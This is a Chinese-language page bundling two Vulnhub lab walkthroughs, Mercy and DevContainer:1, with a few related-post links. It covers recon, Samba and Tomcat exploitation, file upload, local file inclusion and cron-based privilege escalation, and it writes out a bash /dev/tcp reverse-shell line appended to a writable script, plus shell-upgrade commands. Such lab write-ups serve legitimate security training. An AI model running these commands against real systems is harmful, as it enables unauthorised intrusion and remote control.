Vulnhub Mercy靶场 Walkthrough

Posted ZywOo

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Vulnhub Mercy靶场 Walkthrough相关的知识,希望对你有一定的参考价值。

Recon

首先进行二层扫描。

┌──(kali㉿kali)-[~]
└─$ sudo netdiscover -r 192.168.80.0/24
 Currently scanning: Finished!   |   Screen View: Unique Hosts                        
                                                                                      
 7 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 420                      
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.80.1    00:50:56:c0:00:08      1      60  VMware, Inc.                       
 192.168.80.2    00:50:56:ed:65:ac      2     120  VMware, Inc.                       
 192.168.80.135  00:0c:29:cd:fd:52      3     180  VMware, Inc.                       
 192.168.80.254  00:50:56:ec:ab:13      1      60  VMware, Inc.                       
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -p- 192.168.80.135
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-09 03:06 EDT
Nmap scan report for 192.168.80.135
Host is up (0.0028s latency).
Not shown: 65525 closed tcp ports (reset)
PORT     STATE    SERVICE
22/tcp   filtered ssh
53/tcp   open     domain
80/tcp   filtered http
110/tcp  open     pop3
139/tcp  open     netbios-ssn
143/tcp  open     imap
445/tcp  open     microsoft-ds
993/tcp  open     imaps
995/tcp  open     pop3s
8080/tcp open     http-proxy
MAC Address: 00:0C:29:CD:FD:52 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 5.97 seconds

我们注意到80和22端口被过滤了。

Process

相同的,我们还是对samba进行枚举。我们从中发现用户和共享文件夹。

我们访问Web服务,发现是Tomcat服务,值得注意的是,他们将敏感信息泄露在了主页中,且服务器启用了Manager Webapp。

通过访问robots.txt,我们得到了一串base64编码,将其解码我们得到了一串信息。


这说明有用户还在使用弱密码,我们尝试使用弱密码登录samba的共享文件夹。

在.private目录中我们获得了profile文件,其中包含了Web服务器和Knockd的配置。

从上面的文件中我们能知道,如何开启HTTP和SSH端口。所以我们编写脚本,开启相应的端口。

开启HTTP的端口后,我们进行访问,发现robots.txt提示的目录。

我们访问/mercy,网页提示我们,尝试让time不只是显示时间。

访问/nomercy,这是一个RIPS的应用,我们尝试使用searchsploit查找漏洞。


我们尝试利用此漏洞。

成功利用,但是我们并不能通过此漏洞提权,前文tomcat服务器泄露了自己的根目录,我们尝试读取tomcat的配置文件。由下图可见,我们读取了tomcat保存用户信息的配置文件,其中有两个用户,一个用户具有管理权限,另一个则为普通用户,而结合enum4linux,我们能判断另一个用户为Linux的本地用户。

接下来我们尝试登录tomcat的管理后台。在后台中,我们可以上传war包,我们可以手动通过war包获得shell,也可以通过Metasploit平台获得Shell。那么我们这里就使用手动的方法。首先通过msfvenom生成payload。

上传payload,访问指定url触发Reverse Shell。


Privilege Escalation

但当前的Shell并不是交互式Shell,我们需要将当前的Shell升级为交互式Shell。

通过执行python -c \'import pty; pty.spawn("/bin/bash")\',我们就可以使用Python生成一个Shell。

随即我们切换到fluffy用户,并再次升级Shell。

我们在fluffy用户中找到了一个记录时间的文件,根据观察,这好像是一个定时执行的脚本,但我们没有权限查看当前系统的计划任务。

通过访问80端口的/time文件,我们可以印证这一点,再根据前文的提示,我们可以在文件内写入一个反向Shell的命令,等待脚本执行时获得权限。

等待三分钟后,获得Shell。

VulnHub渗透测试实战靶场 - DevContainer:1

题目描述

Goal: 2 flagas
Difficulty: Easy-intermediate
Information: Your feedback is appreciate:
Twitter: @0x04E1

This works better with VirtualBox rather than VMware

环境下载

DevContainer:1靶机搭建

  1. 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
  2. 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only
  • 目标靶机的 IP 地址为:192.168.56.108
  • 攻击机的 IP 地址为:192.168.56.102

渗透测试

信息搜集

用 Nmap 扫描一下目标靶机的端口信息:sudo nmap -sS -A 192.168.56.108,发现开放了 80 端口

用 dirb 扫描一下 80 端口 web 目录:dirb http://192.168.56.108

漏洞挖掘

  • 根据 dirb 扫描结果,访问 http://192.168.56.108/upload/ 发现文件上传页面,并根据 F12 查看页面源码发现的注释,猜测存在文件上传漏洞
  • 利用 Kali 自带的 PHP-Shell,修改后缀名为允许上传的文件后缀名,再利用 burpsuite 抓包修改上传文件信息

getshell

  • 用 nc 起一个监听,访问上传的文件,成功接收到反弹的 shell
  • 将 shell 变为交互式的 shell
SHELL=/bin/bash script -q /dev/null

提权

  • 进一步查找信息,在 /var/www/html 目录下发现一个可疑目录 Maintenance-Web-Docker
  • 其中 list.sh 可写,尝试写入一个反向 shell
echo "bash -i >& /dev/tcp/192.168.56.102/4444 0>&1" >> list.sh
  • 通过查看 out.txt 我们发现每一分钟运行一次 list.sh,开启 nc 监听后等一会成功接收到反弹的 shell

Flag-1

  • 在家目录下的 user.txt 成功得到 Flag-1
  • 注意到存在一个目录 HackTools
  • 运行命令:/home/richard/HackTools/socat TCP-LISTEN\\:8080\\,fork TCP\\:127.0.0.1\\:90,并查看一下 90 端口上运行着什么
  • 访问 http://192.168.56.108:8080/,测试后发现存在文件包含漏洞

Flag-2

  • 包含之前上传的 shell,访问 http://192.168.56.108:8080/index.php?view=../../../../../../home/richard/web/upload/files/shells.php
  • 开启监听,成功接收到反弹的 shell,拿到 root 权限,成功拿到 Flag-2

以上是关于Vulnhub Mercy靶场 Walkthrough的主要内容,如果未能解决你的问题,请参考以下文章

Vulnhub:Digitalworld.local (Mercy v2)靶机

Vulnhub靶场——DC-1

vulnhub靶场搭建

Vulnhub靶场JANGOW: 1.0.1

Vulnhub靶场渗透-Breach1.0

VulnHub渗透测试实战靶场 - Odin:1